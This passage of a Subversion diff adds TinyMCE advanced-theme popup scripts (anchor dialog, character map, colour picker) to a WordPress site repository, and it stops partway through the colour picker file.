+
+		html += '<td width="15%">' + info.version + '</td>';
+		html += '</tr>';
+
+		document.getElementById('plugins_tab').style.display = '';
+
+	});
+
+	html += '</tbody>';
+	html += '</table>';
+
+	tcont.innerHTML = html;
+
+	tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion;
+	tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate;
+}
+
+function insertHelpIFrame() {
+	var html;
+
+	if (tinyMCEPopup.getParam('docs_url')) {
+		html = '<iframe width="100%" height="300" src="' + tinyMCEPopup.editor.baseURI.toAbsolute(tinyMCEPopup.getParam('docs_url')) + '"></iframe>';
+		document.getElementById('iframecontainer').innerHTML = html;
+		document.getElementById('help_tab').style.display = 'block';
+	}
+}
+
+tinyMCEPopup.onInit.add(init);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/anchor.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/anchor.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/anchor.js	(revision 44)
@@ -0,0 +1,37 @@
+tinyMCEPopup.requireLangPack();
+
+var AnchorDialog = {
+	init : function(ed) {
+		var action, elm, f = document.forms[0];
+
+		this.editor = ed;
+		elm = ed.dom.getParent(ed.selection.getNode(), 'A,IMG');
+		v = ed.dom.getAttrib(elm, 'name');
+
+		if (v) {
+			this.action = 'update';
+			f.anchorName.value = v;
+		}
+
+		f.insert.value = ed.getLang(elm ? 'update' : 'insert');
+	},
+
+	update : function() {
+		var ed = this.editor;
+		
+		tinyMCEPopup.restoreSelection();
+
+		if (this.action != 'update')
+			ed.selection.collapse(1);
+
+		// Webkit acts weird if empty inline element is inserted so we need to use a image instead
+		if (tinymce.isWebKit)
+			ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('img', {mce_name : 'a', name : document.forms[0].anchorName.value, 'class' : 'mceItemAnchor'}));
+		else
+			ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : document.forms[0].anchorName.value, 'class' : 'mceItemAnchor'}, ''));
+
+		tinyMCEPopup.close();
+	}
+};
+
+tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/charmap.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/charmap.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/charmap.js	(revision 44)
@@ -0,0 +1,325 @@
+tinyMCEPopup.requireLangPack();
+
+var charmap = [
+	['&nbsp;',    '&#160;',  true, 'no-break space'],
+	['&amp;',     '&#38;',   true, 'ampersand'],
+	['&quot;',    '&#34;',   true, 'quotation mark'],
+// finance
+	['&cent;',    '&#162;',  true, 'cent sign'],
+	['&euro;',    '&#8364;', true, 'euro sign'],
+	['&pound;',   '&#163;',  true, 'pound sign'],
+	['&yen;',     '&#165;',  true, 'yen sign'],
+// signs
+	['&copy;',    '&#169;',  true, 'copyright sign'],
+	['&reg;',     '&#174;',  true, 'registered sign'],
+	['&trade;',   '&#8482;', true, 'trade mark sign'],
+	['&permil;',  '&#8240;', true, 'per mille sign'],
+	['&micro;',   '&#181;',  true, 'micro sign'],
+	['&middot;',  '&#183;',  true, 'middle dot'],
+	['&bull;',    '&#8226;', true, 'bullet'],
+	['&hellip;',  '&#8230;', true, 'three dot leader'],
+	['&prime;',   '&#8242;', true, 'minutes / feet'],
+	['&Prime;',   '&#8243;', true, 'seconds / inches'],
+	['&sect;',    '&#167;',  true, 'section sign'],
+	['&para;',    '&#182;',  true, 'paragraph sign'],
+	['&szlig;',   '&#223;',  true, 'sharp s / ess-zed'],
+// quotations
+	['&lsaquo;',  '&#8249;', true, 'single left-pointing angle quotation mark'],
+	['&rsaquo;',  '&#8250;', true, 'single right-pointing angle quotation mark'],
+	['&laquo;',   '&#171;',  true, 'left pointing guillemet'],
+	['&raquo;',   '&#187;',  true, 'right pointing guillemet'],
+	['&lsquo;',   '&#8216;', true, 'left single quotation mark'],
+	['&rsquo;',   '&#8217;', true, 'right single quotation mark'],
+	['&ldquo;',   '&#8220;', true, 'left double quotation mark'],
+	['&rdquo;',   '&#8221;', true, 'right double quotation mark'],
+	['&sbquo;',   '&#8218;', true, 'single low-9 quotation mark'],
+	['&bdquo;',   '&#8222;', true, 'double low-9 quotation mark'],
+	['&lt;',      '&#60;',   true, 'less-than sign'],
+	['&gt;',      '&#62;',   true, 'greater-than sign'],
+	['&le;',      '&#8804;', true, 'less-than or equal to'],
+	['&ge;',      '&#8805;', true, 'greater-than or equal to'],
+	['&ndash;',   '&#8211;', true, 'en dash'],
+	['&mdash;',   '&#8212;', true, 'em dash'],
+	['&macr;',    '&#175;',  true, 'macron'],
+	['&oline;',   '&#8254;', true, 'overline'],
+	['&curren;',  '&#164;',  true, 'currency sign'],
+	['&brvbar;',  '&#166;',  true, 'broken bar'],
+	['&uml;',     '&#168;',  true, 'diaeresis'],
+	['&iexcl;',   '&#161;',  true, 'inverted exclamation mark'],
+	['&iquest;',  '&#191;',  true, 'turned question mark'],
+	['&circ;',    '&#710;',  true, 'circumflex accent'],
+	['&tilde;',   '&#732;',  true, 'small tilde'],
+	['&deg;',     '&#176;',  true, 'degree sign'],
+	['&minus;',   '&#8722;', true, 'minus sign'],
+	['&plusmn;',  '&#177;',  true, 'plus-minus sign'],
+	['&divide;',  '&#247;',  true, 'division sign'],
+	['&frasl;',   '&#8260;', true, 'fraction slash'],
+	['&times;',   '&#215;',  true, 'multiplication sign'],
+	['&sup1;',    '&#185;',  true, 'superscript one'],
+	['&sup2;',    '&#178;',  true, 'superscript two'],
+	['&sup3;',    '&#179;',  true, 'superscript three'],
+	['&frac14;',  '&#188;',  true, 'fraction one quarter'],
+	['&frac12;',  '&#189;',  true, 'fraction one half'],
+	['&frac34;',  '&#190;',  true, 'fraction three quarters'],
+// math / logical
+	['&fnof;',    '&#402;',  true, 'function / florin'],
+	['&int;',     '&#8747;', true, 'integral'],
+	['&sum;',     '&#8721;', true, 'n-ary sumation'],
+	['&infin;',   '&#8734;', true, 'infinity'],
+	['&radic;',   '&#8730;', true, 'square root'],
+	['&sim;',     '&#8764;', false,'similar to'],
+	['&cong;',    '&#8773;', false,'approximately equal to'],
+	['&asymp;',   '&#8776;', true, 'almost equal to'],
+	['&ne;',      '&#8800;', true, 'not equal to'],
+	['&equiv;',   '&#8801;', true, 'identical to'],
+	['&isin;',    '&#8712;', false,'element of'],
+	['&notin;',   '&#8713;', false,'not an element of'],
+	['&ni;',      '&#8715;', false,'contains as member'],
+	['&prod;',    '&#8719;', true, 'n-ary product'],
+	['&and;',     '&#8743;', false,'logical and'],
+	['&or;',      '&#8744;', false,'logical or'],
+	['&not;',     '&#172;',  true, 'not sign'],
+	['&cap;',     '&#8745;', true, 'intersection'],
+	['&cup;',     '&#8746;', false,'union'],
+	['&part;',    '&#8706;', true, 'partial differential'],
+	['&forall;',  '&#8704;', false,'for all'],
+	['&exist;',   '&#8707;', false,'there exists'],
+	['&empty;',   '&#8709;', false,'diameter'],
+	['&nabla;',   '&#8711;', false,'backward difference'],
+	['&lowast;',  '&#8727;', false,'asterisk operator'],
+	['&prop;',    '&#8733;', false,'proportional to'],
+	['&ang;',     '&#8736;', false,'angle'],
+// undefined
+	['&acute;',   '&#180;',  true, 'acute accent'],
+	['&cedil;',   '&#184;',  true, 'cedilla'],
+	['&ordf;',    '&#170;',  true, 'feminine ordinal indicator'],
+	['&ordm;',    '&#186;',  true, 'masculine ordinal indicator'],
+	['&dagger;',  '&#8224;', true, 'dagger'],
+	['&Dagger;',  '&#8225;', true, 'double dagger'],
+// alphabetical special chars
+	['&Agrave;',  '&#192;',  true, 'A - grave'],
+	['&Aacute;',  '&#193;',  true, 'A - acute'],
+	['&Acirc;',   '&#194;',  true, 'A - circumflex'],
+	['&Atilde;',  '&#195;',  true, 'A - tilde'],
+	['&Auml;',    '&#196;',  true, 'A - diaeresis'],
+	['&Aring;',   '&#197;',  true, 'A - ring above'],
+	['&AElig;',   '&#198;',  true, 'ligature AE'],
+	['&Ccedil;',  '&#199;',  true, 'C - cedilla'],
+	['&Egrave;',  '&#200;',  true, 'E - grave'],
+	['&Eacute;',  '&#201;',  true, 'E - acute'],
+	['&Ecirc;',   '&#202;',  true, 'E - circumflex'],
+	['&Euml;',    '&#203;',  true, 'E - diaeresis'],
+	['&Igrave;',  '&#204;',  true, 'I - grave'],
+	['&Iacute;',  '&#205;',  true, 'I - acute'],
+	['&Icirc;',   '&#206;',  true, 'I - circumflex'],
+	['&Iuml;',    '&#207;',  true, 'I - diaeresis'],
+	['&ETH;',     '&#208;',  true, 'ETH'],
+	['&Ntilde;',  '&#209;',  true, 'N - tilde'],
+	['&Ograve;',  '&#210;',  true, 'O - grave'],
+	['&Oacute;',  '&#211;',  true, 'O - acute'],
+	['&Ocirc;',   '&#212;',  true, 'O - circumflex'],
+	['&Otilde;',  '&#213;',  true, 'O - tilde'],
+	['&Ouml;',    '&#214;',  true, 'O - diaeresis'],
+	['&Oslash;',  '&#216;',  true, 'O - slash'],
+	['&OElig;',   '&#338;',  true, 'ligature OE'],
+	['&Scaron;',  '&#352;',  true, 'S - caron'],
+	['&Ugrave;',  '&#217;',  true, 'U - grave'],
+	['&Uacute;',  '&#218;',  true, 'U - acute'],
+	['&Ucirc;',   '&#219;',  true, 'U - circumflex'],
+	['&Uuml;',    '&#220;',  true, 'U - diaeresis'],
+	['&Yacute;',  '&#221;',  true, 'Y - acute'],
+	['&Yuml;',    '&#376;',  true, 'Y - diaeresis'],
+	['&THORN;',   '&#222;',  true, 'THORN'],
+	['&agrave;',  '&#224;',  true, 'a - grave'],
+	['&aacute;',  '&#225;',  true, 'a - acute'],
+	['&acirc;',   '&#226;',  true, 'a - circumflex'],
+	['&atilde;',  '&#227;',  true, 'a - tilde'],
+	['&auml;',    '&#228;',  true, 'a - diaeresis'],
+	['&aring;',   '&#229;',  true, 'a - ring above'],
+	['&aelig;',   '&#230;',  true, 'ligature ae'],
+	['&ccedil;',  '&#231;',  true, 'c - cedilla'],
+	['&egrave;',  '&#232;',  true, 'e - grave'],
+	['&eacute;',  '&#233;',  true, 'e - acute'],
+	['&ecirc;',   '&#234;',  true, 'e - circumflex'],
+	['&euml;',    '&#235;',  true, 'e - diaeresis'],
+	['&igrave;',  '&#236;',  true, 'i - grave'],
+	['&iacute;',  '&#237;',  true, 'i - acute'],
+	['&icirc;',   '&#238;',  true, 'i - circumflex'],
+	['&iuml;',    '&#239;',  true, 'i - diaeresis'],
+	['&eth;',     '&#240;',  true, 'eth'],
+	['&ntilde;',  '&#241;',  true, 'n - tilde'],
+	['&ograve;',  '&#242;',  true, 'o - grave'],
+	['&oacute;',  '&#243;',  true, 'o - acute'],
+	['&ocirc;',   '&#244;',  true, 'o - circumflex'],
+	['&otilde;',  '&#245;',  true, 'o - tilde'],
+	['&ouml;',    '&#246;',  true, 'o - diaeresis'],
+	['&oslash;',  '&#248;',  true, 'o slash'],
+	['&oelig;',   '&#339;',  true, 'ligature oe'],
+	['&scaron;',  '&#353;',  true, 's - caron'],
+	['&ugrave;',  '&#249;',  true, 'u - grave'],
+	['&uacute;',  '&#250;',  true, 'u - acute'],
+	['&ucirc;',   '&#251;',  true, 'u - circumflex'],
+	['&uuml;',    '&#252;',  true, 'u - diaeresis'],
+	['&yacute;',  '&#253;',  true, 'y - acute'],
+	['&thorn;',   '&#254;',  true, 'thorn'],
+	['&yuml;',    '&#255;',  true, 'y - diaeresis'],
+    ['&Alpha;',   '&#913;',  true, 'Alpha'],
+	['&Beta;',    '&#914;',  true, 'Beta'],
+	['&Gamma;',   '&#915;',  true, 'Gamma'],
+	['&Delta;',   '&#916;',  true, 'Delta'],
+	['&Epsilon;', '&#917;',  true, 'Epsilon'],
+	['&Zeta;',    '&#918;',  true, 'Zeta'],
+	['&Eta;',     '&#919;',  true, 'Eta'],
+	['&Theta;',   '&#920;',  true, 'Theta'],
+	['&Iota;',    '&#921;',  true, 'Iota'],
+	['&Kappa;',   '&#922;',  true, 'Kappa'],
+	['&Lambda;',  '&#923;',  true, 'Lambda'],
+	['&Mu;',      '&#924;',  true, 'Mu'],
+	['&Nu;',      '&#925;',  true, 'Nu'],
+	['&Xi;',      '&#926;',  true, 'Xi'],
+	['&Omicron;', '&#927;',  true, 'Omicron'],
+	['&Pi;',      '&#928;',  true, 'Pi'],
+	['&Rho;',     '&#929;',  true, 'Rho'],
+	['&Sigma;',   '&#931;',  true, 'Sigma'],
+	['&Tau;',     '&#932;',  true, 'Tau'],
+	['&Upsilon;', '&#933;',  true, 'Upsilon'],
+	['&Phi;',     '&#934;',  true, 'Phi'],
+	['&Chi;',     '&#935;',  true, 'Chi'],
+	['&Psi;',     '&#936;',  true, 'Psi'],
+	['&Omega;',   '&#937;',  true, 'Omega'],
+	['&alpha;',   '&#945;',  true, 'alpha'],
+	['&beta;',    '&#946;',  true, 'beta'],
+	['&gamma;',   '&#947;',  true, 'gamma'],
+	['&delta;',   '&#948;',  true, 'delta'],
+	['&epsilon;', '&#949;',  true, 'epsilon'],
+	['&zeta;',    '&#950;',  true, 'zeta'],
+	['&eta;',     '&#951;',  true, 'eta'],
+	['&theta;',   '&#952;',  true, 'theta'],
+	['&iota;',    '&#953;',  true, 'iota'],
+	['&kappa;',   '&#954;',  true, 'kappa'],
+	['&lambda;',  '&#955;',  true, 'lambda'],
+	['&mu;',      '&#956;',  true, 'mu'],
+	['&nu;',      '&#957;',  true, 'nu'],
+	['&xi;',      '&#958;',  true, 'xi'],
+	['&omicron;', '&#959;',  true, 'omicron'],
+	['&pi;',      '&#960;',  true, 'pi'],
+	['&rho;',     '&#961;',  true, 'rho'],
+	['&sigmaf;',  '&#962;',  true, 'final sigma'],
+	['&sigma;',   '&#963;',  true, 'sigma'],
+	['&tau;',     '&#964;',  true, 'tau'],
+	['&upsilon;', '&#965;',  true, 'upsilon'],
+	['&phi;',     '&#966;',  true, 'phi'],
+	['&chi;',     '&#967;',  true, 'chi'],
+	['&psi;',     '&#968;',  true, 'psi'],
+	['&omega;',   '&#969;',  true, 'omega'],
+// symbols
+	['&alefsym;', '&#8501;', false,'alef symbol'],
+	['&piv;',     '&#982;',  false,'pi symbol'],
+	['&real;',    '&#8476;', false,'real part symbol'],
+	['&thetasym;','&#977;',  false,'theta symbol'],
+	['&upsih;',   '&#978;',  false,'upsilon - hook symbol'],
+	['&weierp;',  '&#8472;', false,'Weierstrass p'],
+	['&image;',   '&#8465;', false,'imaginary part'],
+// arrows
+	['&larr;',    '&#8592;', true, 'leftwards arrow'],
+	['&uarr;',    '&#8593;', true, 'upwards arrow'],
+	['&rarr;',    '&#8594;', true, 'rightwards arrow'],
+	['&darr;',    '&#8595;', true, 'downwards arrow'],
+	['&harr;',    '&#8596;', true, 'left right arrow'],
+	['&crarr;',   '&#8629;', false,'carriage return'],
+	['&lArr;',    '&#8656;', false,'leftwards double arrow'],
+	['&uArr;',    '&#8657;', false,'upwards double arrow'],
+	['&rArr;',    '&#8658;', false,'rightwards double arrow'],
+	['&dArr;',    '&#8659;', false,'downwards double arrow'],
+	['&hArr;',    '&#8660;', false,'left right double arrow'],
+	['&there4;',  '&#8756;', false,'therefore'],
+	['&sub;',     '&#8834;', false,'subset of'],
+	['&sup;',     '&#8835;', false,'superset of'],
+	['&nsub;',    '&#8836;', false,'not a subset of'],
+	['&sube;',    '&#8838;', false,'subset of or equal to'],
+	['&supe;',    '&#8839;', false,'superset of or equal to'],
+	['&oplus;',   '&#8853;', false,'circled plus'],
+	['&otimes;',  '&#8855;', false,'circled times'],
+	['&perp;',    '&#8869;', false,'perpendicular'],
+	['&sdot;',    '&#8901;', false,'dot operator'],
+	['&lceil;',   '&#8968;', false,'left ceiling'],
+	['&rceil;',   '&#8969;', false,'right ceiling'],
+	['&lfloor;',  '&#8970;', false,'left floor'],
+	['&rfloor;',  '&#8971;', false,'right floor'],
+	['&lang;',    '&#9001;', false,'left-pointing angle bracket'],
+	['&rang;',    '&#9002;', false,'right-pointing angle bracket'],
+	['&loz;',     '&#9674;', true,'lozenge'],
+	['&spades;',  '&#9824;', false,'black spade suit'],
+	['&clubs;',   '&#9827;', true, 'black club suit'],
+	['&hearts;',  '&#9829;', true, 'black heart suit'],
+	['&diams;',   '&#9830;', true, 'black diamond suit'],
+	['&ensp;',    '&#8194;', false,'en space'],
+	['&emsp;',    '&#8195;', false,'em space'],
+	['&thinsp;',  '&#8201;', false,'thin space'],
+	['&zwnj;',    '&#8204;', false,'zero width non-joiner'],
+	['&zwj;',     '&#8205;', false,'zero width joiner'],
+	['&lrm;',     '&#8206;', false,'left-to-right mark'],
+	['&rlm;',     '&#8207;', false,'right-to-left mark'],
+	['&shy;',     '&#173;',  false,'soft hyphen']
+];
+
+tinyMCEPopup.onInit.add(function() {
+	tinyMCEPopup.dom.setHTML('charmapView', renderCharMapHTML());
+});
+
+function renderCharMapHTML() {
+	var charsPerRow = 20, tdWidth=20, tdHeight=20, i;
+	var html = '<table border="0" cellspacing="1" cellpadding="0" width="' + (tdWidth*charsPerRow) + '"><tr height="' + tdHeight + '">';
+	var cols=-1;
+
+	for (i=0; i<charmap.length; i++) {
+		if (charmap[i][2]==true) {
+			cols++;
+			html += ''
+				+ '<td class="charmap">'
+				+ '<a onmouseover="previewChar(\'' + charmap[i][1].substring(1,charmap[i][1].length) + '\',\'' + charmap[i][0].substring(1,charmap[i][0].length) + '\',\'' + charmap[i][3] + '\');" onfocus="previewChar(\'' + charmap[i][1].substring(1,charmap[i][1].length) + '\',\'' + charmap[i][0].substring(1,charmap[i][0].length) + '\',\'' + charmap[i][3] + '\');" href="javascript:void(0)" onclick="insertChar(\'' + charmap[i][1].substring(2,charmap[i][1].length-1) + '\');" onclick="return false;" onmousedown="return false;" title="' + charmap[i][3] + '">'
+				+ charmap[i][1]
+				+ '</a></td>';
+			if ((cols+1) % charsPerRow == 0)
+				html += '</tr><tr height="' + tdHeight + '">';
+		}
+	 }
+
+	if (cols % charsPerRow > 0) {
+		var padd = charsPerRow - (cols % charsPerRow);
+		for (var i=0; i<padd-1; i++)
+			html += '<td width="' + tdWidth + '" height="' + tdHeight + '" class="charmap">&nbsp;</td>';
+	}
+
+	html += '</tr></table>';
+
+	return html;
+}
+
+function insertChar(chr) {
+	tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';');
+
+	// Refocus in window
+	if (tinyMCEPopup.isWindow)
+		window.focus();
+
+	tinyMCEPopup.editor.focus();
+	tinyMCEPopup.close();
+}
+
+function previewChar(codeA, codeB, codeN) {
+	var elmA = document.getElementById('codeA');
+	var elmB = document.getElementById('codeB');
+	var elmV = document.getElementById('codeV');
+	var elmN = document.getElementById('codeN');
+
+	if (codeA=='#160;') {
+		elmV.innerHTML = '__';
+	} else {
+		elmV.innerHTML = '&' + codeA;
+	}
+
+	elmB.innerHTML = '&amp;' + codeA;
+	elmA.innerHTML = '&amp;' + codeB;
+	elmN.innerHTML = codeN;
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/color_picker.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/color_picker.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/themes/advanced/js/color_picker.js	(revision 44)
@@ -0,0 +1,253 @@
+tinyMCEPopup.requireLangPack();
+
+var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false;
+
+var colors = [
+	"#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033",
+	"#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099",
+	"#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff",
+	"#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033",
+	"#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399",
+	"#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff",
+	"#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333",
+	"#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399",
+	"#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff",
+	"#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633",
+	"#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699",
+	"#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff",
+	"#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633",
+	"#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999",
+	"#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff",
+	"#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933",
+	"#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999",
+	"#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff",
+	"#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33",
+	"#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99",
+	"#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff",
+	"#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33",
+	"#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99",
+	"#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff",
+	"#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33",
+	"#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99",
+	"#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff"
+];
+
+var named = {
+	'#F0F8FF':'AliceBlue','#FAEBD7':'AntiqueWhite','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige',
+	'#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'BlanchedAlmond','#0000FF':'Blue','#8A2BE2':'BlueViolet','#A52A2A':'Brown',
+	'#DEB887':'BurlyWood','#5F9EA0':'CadetBlue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'CornflowerBlue',
+	'#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'DarkBlue','#008B8B':'DarkCyan','#B8860B':'DarkGoldenRod',
+	'#A9A9A9':'DarkGray','#A9A9A9':'DarkGrey','#006400':'DarkGreen','#BDB76B':'DarkKhaki','#8B008B':'DarkMagenta','#556B2F':'DarkOliveGreen',
+	'#FF8C00':'Darkorange','#9932CC':'DarkOrchid','#8B0000':'DarkRed','#E9967A':'DarkSalmon','#8FBC8F':'DarkSeaGreen','#483D8B':'DarkSlateBlue',
+	'#2F4F4F':'DarkSlateGray','#2F4F4F':'DarkSlateGrey','#00CED1':'DarkTurquoise','#9400D3':'DarkViolet','#FF1493':'DeepPink','#00BFFF':'DeepSkyBlue',
+	'#696969':'DimGray','#696969':'DimGrey','#1E90FF':'DodgerBlue','#B22222':'FireBrick','#FFFAF0':'FloralWhite','#228B22':'ForestGreen',
+	'#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'GhostWhite','#FFD700':'Gold','#DAA520':'GoldenRod','#808080':'Gray','#808080':'Grey',
+	'#008000':'Green','#ADFF2F':'GreenYellow','#F0FFF0':'HoneyDew','#FF69B4':'HotPink','#CD5C5C':'IndianRed','#4B0082':'Indigo','#FFFFF0':'Ivory',
+	'#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'LavenderBlush','#7CFC00':'LawnGreen','#FFFACD':'LemonChiffon','#ADD8E6':'LightBlue',
+	'#F08080':'LightCoral','#E0FFFF':'LightCyan','#FAFAD2':'LightGoldenRodYellow','#D3D3D3':'LightGray','#D3D3D3':'LightGrey','#90EE90':'LightGreen',
+	'#FFB6C1':'LightPink','#FFA07A':'LightSalmon','#20B2AA':'LightSeaGreen','#87CEFA':'LightSkyBlue','#778899':'LightSlateGray','#778899':'LightSlateGrey',
+	'#B0C4DE':'LightSteelBlue','#FFFFE0':'LightYellow','#00FF00':'Lime','#32CD32':'LimeGreen','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon',
+	'#66CDAA':'MediumAquaMarine','#0000CD':'MediumBlue','#BA55D3':'MediumOrchid','#9370D8':'MediumPurple','#3CB371':'MediumSeaGreen','#7B68EE':'MediumSlateBlue',
+	'#00FA9A':'MediumSpringGreen','#48D1CC':'MediumTurquoise','#C71585':'MediumVioletRed','#191970':'MidnightBlue','#F5FFFA':'MintCream','#FFE4E1':'MistyRose','#FFE4B5':'Moccasin',
+	'#FFDEAD':'NavajoWhite','#000080':'Navy','#FDF5E6':'OldLace','#808000':'Olive','#6B8E23':'OliveDrab','#FFA500':'Orange','#FF4500':'OrangeRed','#DA70D6':'Orchid',
+	'#EEE8AA':'PaleGoldenRod','#98FB98':'PaleGreen','#AFEEEE':'PaleTurquoise','#D87093':'PaleVioletRed','#FFEFD5':'PapayaWhip','#FFDAB9':'PeachPuff',
+	'#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'PowderBlue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'RosyBrown','#4169E1':'RoyalBlue',
+	'#8B4513':'SaddleBrown','#FA8072':'Salmon','#F4A460':'SandyBrown','#2E8B57':'SeaGreen','#FFF5EE':'SeaShell','#A0522D':'Sienna','#C0C0C0':'Silver',
+	'#87CEEB':'SkyBlue','#6A5ACD':'SlateBlue','#708090':'SlateGray','#708090':'SlateGrey','#FFFAFA':'Snow','#00FF7F':'SpringGreen',
+	'#4682B4':'SteelBlue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet',
+	'#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'WhiteSmoke','#FFFF00':'Yellow','#9ACD32':'YellowGreen'
+};
+
+function init() {
+	var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color'));
+
+	tinyMCEPopup.resizeToInnerSize();
+
+	generatePicker();
+
+	if (inputColor) {
+		changeFinalColor(inputColor);
+
+		col = convertHexToRGB(inputColor);
+
+		if (col)
+			updateLight(col.r, col.g, col.b);
+	}
+}
+
+function insertAction() {
+	var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func');
+
+	tinyMCEPopup.restoreSelection();
+
+	if (f)
+		f(color);
+
+	tinyMCEPopup.close();
+}
+
+function showColor(color, name) {
+	if (name)
+		document.getElementById("colorname").innerHTML = name;
+
+	document.getElementById("preview").style.backgroundColor = color;
+	document.getElementById("color").value = color.toLowerCase();
+}
+
+function convertRGBToHex(col) {
+	var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi");
+
+	if (!col)
+		return col;
+
+	var rgb = col.replace(re, "$1,$2,$3").split(',');
+	if (rgb.length == 3) {
+		r = parseInt(rgb[0]).toString(16);
+		g = parseInt(rgb[1]).toString(16);
+		b = parseInt(rgb[2]).toString(16);
+
+		r = r.length == 1 ? '0' + r : r;
+		g = g.length == 1 ? '0' + g : g;
+		b = b.length == 1 ? '0' + b : b;
+
+		return "#" + r + g + b;
+	}
+
+	return col;
+}
+
+function convertHexToRGB(col) {
+	if (col.indexOf('#') != -1) {
+		col = col.replace(new RegExp('[^0-9A-F]', 'gi'), '');
+
+		r = parseInt(col.substring(0, 2), 16);
+		g = parseInt(col.substring(2, 4), 16);
+		b = parseInt(col.substring(4, 6), 16);
+
+		return {r : r, g : g, b : b};
+	}
+
+	return null;
+}
+
+function generatePicker() {
+	var el = document.getElementById('light'), h = '', i;
+
+	for (i = 0; i < detail; i++){
+		h += '<div id="gs'+i+'" style="background-color:#000000; width:15px; height:3px; border-style:none; border-width:0px;"'
+		+ ' onclick="changeFinalColor(this.style.backgroundColor)"'
+		+ ' onmousedown="isMouseDown = true; return false;"'
+		+ ' onmouseup="isMouseDown = false;"'
+		+ ' onmousemove="if (isMouseDown && isMouseOver) changeFinalColor(this.style.backgroundColor); return false;"'
+		+ ' onmouseover="isMouseOver = true;"'
+		+ ' onmouseout="isMouseOver = false;"'
+		+ '></div>';
+	}
+
+	el.innerHTML = h;
+}
+
+function generateWebColors() {
+	var el = document.getElementById('webcolors'), h = '', i;
+
+	if (el.className == 'generated')
+		return;
+
+	h += '<table border="0" cellspacing="1" cellpadding="0">'
+		+ '<tr>';
+
+	for (i=0; i<colors.length; i++) {
+		h += '<td bgcolor="' + colors[i] + '" width="10" height="10">'
+			+ '<a href="javascript:insertAction();" onfocus="showColor(\'' + colors[i] +  '\');" onmouseover="showColor(\'' + colors[i] +  '\');" style="display:block;width:10px;height:10px;overflow:hidden;">'
+			+ '</a></td>';
+		if ((i+1) % 18 == 0)
+			h += '</tr><tr>';
+	}
+
+	h += '</table>';
+
+	el.innerHTML = h;
+	el.className = 'generated';
+}
+
+function generateNamedColors() {
+	var el = document.getElementById('namedcolors'), h = '', n, v, i = 0;
+
